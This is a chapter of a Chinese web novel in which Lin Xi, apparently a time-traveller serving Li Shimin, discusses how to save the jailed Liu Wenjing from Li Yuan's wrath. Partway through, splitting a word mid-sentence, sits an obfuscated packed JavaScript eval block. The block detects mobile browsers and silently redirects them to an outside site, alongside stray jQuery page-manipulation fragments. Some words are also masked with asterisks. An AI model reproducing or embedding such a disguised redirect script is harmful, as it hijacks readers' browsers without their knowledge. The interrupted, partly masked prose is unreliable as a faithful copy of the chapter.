听士卒说,秦王已经在大帐里坐一晚上没灭灯了,不知道在琢磨啥。
要是往常,遇到什么糟心事,李世民早就召集手下班子讨论对策了,火急火燎一点儿忍不了。
可这回一个人郁闷这么久都憋着不吭声,也是难得一见的怪事了。
林溪特意捧了一碗热腾腾的黍米粥和一小碟腌渍野菜,匆匆赶往中军大帐。
粥熬得稠滑,表面撒了几粒烤得焦香的葵花籽,散发着淡淡的谷物甜香。
野菜酸咸开胃,切得细碎,带着点野葱的辛辣,正适合提神醒脑。
推开中军大帐的帘子,一股浓重的墨香混着烛油味扑鼻而来。
油灯摇曳,案几上凌乱不堪,堆满揉皱的废纸,几份摊开的奏章上,墨渍斑驳,笔迹断续。
李世民斜靠在紫檀胡床上,脚直接翘在案上,向后仰着脑袋,双眼微眯,眉峰紧锁。
一手指尖揉着太阳穴,像是熬了一夜头疼得要炸,一支秃毛笔在指尖漫不经心地转来转去。
林溪皱皱鼻子,眉头微拧。把藤编托盘轻手轻脚地放在案上,避开那堆揉皱的废纸和奏章,轻声道。
“秦王,早饭来了,粥还热乎,配点野菜,垫垫肚子再忙吧。
李世民微微撩起眼皮,目光在她脸上扫过,眼神沉如寒潭,声音低沉:“放那儿吧。
“您这是……前线出啥事儿了吗?
林溪嘴上问着,心里却门儿清。
要真是裴寂在前线拉了坨大的,李世民早就像个点燃的炮仗,嚷嚷着开作战会议,恨不得连夜提兵杀去晋阳。
哪会是现在这种悲催无语、像被霜打蔫了的茄子的德行。
按以往经验,能让小陀螺纠结得跟拧麻花似的人,只有一个。
“哼。前线就好了,只要是打仗,刀枪底下见真章,准能解决!可这次……
李世民猛地坐正,冷笑一声,目光凌厉。
抓起案上一份奏报,狠狠往案上一拍,“你看看这个。刘文静出事了。
自从灭了西秦之后,刘文静被李渊挤出中央决策组,调任民部尚书,陕东道行台左仆射,彻底划入李世**营。
而裴寂,是李渊的仆射。
据林溪观察,至少在外人看来,刘文静
对秦王的拥护和忠心相当到位。
每逢朝议,刘文静总是旗帜鲜明、公开无条件支持李世民的奏疏,慷慨激昂,句句掷地有声。
只不过,“碰巧”提出反对意见的,十有**是裴寂。
那么,问题就来了。
你刘文静,到底是真心实意挺秦王,还是借着李世民的东风,故意和裴寂唱反调呢?
朝中里一直有个说法,这俩人说话只用听一个就行——
凡是裴寂反对的,刘文静绝对支持;裴寂支持的,刘文静必定反对。
昔日太原起兵时的老友,同病相怜、共谋大业的交情,如今却闹到水火不容的地步,真是让人唏嘘。
这对于这封奏报的内容,林溪一点儿不意外。
就在裴寂被派出去后,刘文静跟弟弟刘文起喝酒,喝到一半就开始骂街撒酒疯,拔刀击柱,大声嚷嚷着:“我非斩了裴寂不可!”
更夸张的是,刘文静家里说闹妖怪,刘文起找了个顶仙的巫师做法,披头散发、嘴里衔刀。
这事儿偏偏被个失宠的爱妾举报了,捅到李渊面前,说刘文静要谋反!
李渊当即派妹夫萧瑀审案子,刘文静掏心掏肺说了肺腑之言。
说起义之初,他职位司马,与长史裴寂位望相当。
而现在,人家裴寂贵为仆射,豪宅良田、香车美女应有尽有。自己却封赏平平,与普通人差不多。
天天费劲辛苦东征西逃的也确实没啥指望,因醉失言,怨气上头,心有不甘。
但对大唐的绝无二心!
据说李渊听后,脸色陡变,当即拍板定调道:“刘文静反了!反了!啥也不用问了,这反得太清楚了!”
立马把刘文静下了狱,听候发落。
除了领兵在外的裴寂没参与,太子师李纲和萧瑀都表示:
刘文静同志主要是对级别待遇不满而引发的思想滑坡问题,严肃教育几次、小惩大戒也就算了。
要说谋反,老刘确实真不至于。
请陛下三思。
显而易见,李渊的班子都在努力压这事儿。而李渊却是最积极的那个。
此刻,压力就给到李世民这儿了。
林溪假装读得慢,脑子飞速旋转。
刘文静,论资历、能力和威望,在一众晋阳功臣中、甚至在李世民的分管团队中,都可谓举足轻重。
李渊故意找茬儿、揪住不放,估计是觉得这回裴寂赢面儿很大,打算趁机敲打敲打这帮“盘踞长春宫的秦王党。
意思别以为离了你们,老子就玩儿不转!谁要敢心生不满,逮一个治一个,杀鸡儆猴!
不过,至于李渊是否真有心杀刘文静,还真不好说。
毕竟,长安到长春宫路途都十天半月的,要杀早开刀了。
之所以晾到今天都没定论,毫无疑问,是在等李世民的态度。
某种意义上,李世民的应对之策,决定了刘文静的生死。
林溪心想,怪不得给二公子纠结成这样。
确实人命关天,还是自己团队核心人物,可不得多费点儿脑子嘛!
可这么费脑子,叫房谋杜断、长孙无忌、储亮那帮人来不就得了吗?
那帮老狐狸,哪个也不是吃素的,群策群力,最大限度救刘文静,总能找出条路来!
至于给自己憋成这样?
关键,她心里犯嘀咕:别人都不召,偏偏一大早把自己拘来,是啥意思呢……
林溪偷眼察言观色,只见李世民正把腌渍野菜和桌上的甜酪一股脑倒进粥碗,搅拌得哗啦作响,呼噜噜大口喝粥。
眼神依旧深沉,但嘴角微微上扬,仿佛心中已有所决断。
“怎么样,看完啦?李世民抬手把桌上的废纸团随意扫到地上,语气淡然,“说说看,有什么想法?
林溪咽了口唾沫,瞧不出啥感情倾向,只能硬着头皮斟酌着答。
“二公子,我看刘先生虽然失言,但罪不至死,更别提谋反,陛下恐怕多虑了。
不如,咱们上奏为刘先生求求情,也让陛下消消气,尽量把这事儿大事化小,小事化了最好。
“嗯。有道理,我也是这么想的。
李世民点点头,微微一笑,像是早就料到她会这么说,眼神里闪过一抹意味深长的光。
端起粥碗,一饮而尽,揉了揉肚子,随手从案几最底下拽出一封叠得整整齐齐的奏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15728403|173986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
折。
“这是我拟给陛下的回奏。陛下的脾性你了解,帮我参谋参谋,能不能达到救刘文静的目的。
“嘿嘿,二公子,我这水平有限,您随便一听,权当抛砖引玉!”
林溪挠挠头挤出个痞笑,接过奏折,轻轻展开。
纸面墨迹早已干透,显然是写完后反复斟酌、纠结了许久。
洋洋洒洒数百字,核心论据就两个:
一、晋阳起兵,是儿和刘文静先定下非常之策,运筹帷幄,之后才拉您宠爱的裴寂入局,**劳,裴寂必在刘文静之后。
(文静义旗初起,先定非常之策,始告寂知)
二、开进长安后,两人待遇却越拉越大,刘文静发点牢骚也属人之常情,纯纯的待遇问题,跟谋反边儿都沾不上!
(及平京城,任遇悬隔,止以文静为觖望,非敢谋反)
言外之意——
内涵:这俩人矛盾,根源就是您任人唯亲、赏罚不公!
外延:刘文静背后站着广大实干派功臣,您周围却围着封德彝、宇文士及、杨恭仁这帮隋朝逃过来的贵胄故旧,屁功劳没有却忝居高位,谁能服气?
进一步外延:您琢磨琢磨,我和那谁谁之间,是不是也得这么个事儿?
通篇情绪高涨、论据详实、逻辑缜密,可谓是一场酣畅淋漓的辩论打脸,字里行间透着股不吐不快的锐气。
李世民这封奏折,不管让谁看都一点儿毛病没有。
一个为手下功臣将士仗义执言、勇于进言的英雄形象跃然纸上,慷慨激昂,义薄云天。
如果作为被李渊挤兑的实干派,林溪读罢就一个字——爽!
骂得好!那帮尸位素餐的混蛋早该拍屁股滚蛋,秦王仗义!给兄弟们做主!
可是,一旦站在李渊的角度,他必然不会因为二小子一顿慷慨陈词幡然醒悟、痛思己过。
然后大赦天下,放了刘文静以谢广大功臣之心。
这封奏章的效果只有俩——拱火+实锤。
在李渊眼里,刘文静绝不可能再是个吃醋喝酒骂大街的失意臣子,而是个代表广大功臣、公然冒头挑战自己绝对权威的实锤秦王党!
要么认错,要么**,李渊会选哪个呢?
林溪低着头,掌心汗湿,指尖不自觉攥紧奏折边角。
却突然感觉面前一股无形的威压,如深渊大海般俯瞰着自己,让得她瞬间心跳飙升,后背隐隐约约冒凉气。
她咽了口唾沫,逼着自己抬头,迎上李世民那双深邃如墨、似笑非笑的锐利眼眸。
脑子里轰地一响,好像突然意识到一个很严肃的问题:
眼前这二十出头的青年,冲锋时身先士卒、勇武无匹;醉酒时豪气干云,拍着酒坛子高歌乱舞;
开心时会拍着她的脑袋哈哈大笑,爽朗得像个大男孩;
又时而无比中二臭屁地自称“天下无敌”,眼睛亮得像要吞吐星河的,这位与自己朝夕相处整整七年的老板。
是李世民。
那个注定要翻云覆雨、君临天下的李世民。
“诶,你觉得,刘文静他到底是个咋样的人?或者说,在他心里,我……到底是个什么位置?”
李世民挑了挑眉,目光如初秋薄雾般扫过林溪,语气轻描淡写,嘴角依旧挂着一抹淡淡的微笑。
?